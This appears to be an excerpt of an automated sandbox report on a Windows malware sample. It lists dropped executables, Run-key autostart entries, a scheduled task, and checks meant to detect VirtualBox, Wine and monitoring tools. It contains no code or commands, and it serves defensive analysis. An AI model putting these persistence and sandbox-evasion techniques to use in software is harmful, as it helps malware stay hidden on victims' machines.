Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File created: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70bf1463df.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e90585a72a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 384a543dd0.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70bf1463df.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70bf1463df.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e90585a72a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e90585a72a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 384a543dd0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 384a543dd0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: innoinstaller.exe PID: 5740, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
